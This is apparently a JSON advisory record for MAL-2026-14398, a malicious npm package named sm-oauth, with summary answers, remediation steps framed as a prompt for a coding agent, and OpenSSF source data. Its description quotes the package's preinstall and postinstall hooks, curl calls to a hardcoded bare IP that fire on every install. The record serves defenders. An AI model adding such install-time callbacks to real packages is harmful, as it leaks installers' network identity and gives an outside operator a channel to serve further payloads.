{"answers":{"affected":"1 open source package ship an affected version, including sm-oauth.","exploited":"There is no known exploitation of MAL-2026-14398 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-14398 is a malicious package in sm-oauth, published on 24 Aug 2026."},"fix_prompt":"MAL-2026-14398 is a malicious package: sm-oauth (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-14398/ (Markdown: https://insights.sbomify.com/MAL-2026-14398/index.md)","id":"MAL-2026-14398","markdown":"https://insights.sbomify.com/MAL-2026-14398/index.md","name":"MAL-2026-14398","record":{"aliases":["GHSA-9v7m-8hh3-3mc3"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"package.json declares preinstall and postinstall scripts that run `curl -s http://16.192.173.5/sm-oauth/pre` and `curl -s http://16.192.173.5/sm-oauth/post` on every `npm install`. The requests fire against a hardcoded bare-IP endpoint over plain HTTP, leaking the installer's network identity (source IP, install event, request metadata) to that endpoint and giving the operator a channel to serve follow-on content in the HTTP response. index.js self-identifies as a dependency-confusion test artifact and exports no functional library code; the package's only behavior on install is the outbound callback.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in sm-oauth (npm)","id":"MAL-2026-14398","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"sm-oauth","purl":"pkg:npm/sm-oauth","source":"MAL-2026-14398"}],"products":null,"published":"2026-08-24","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-14398/"}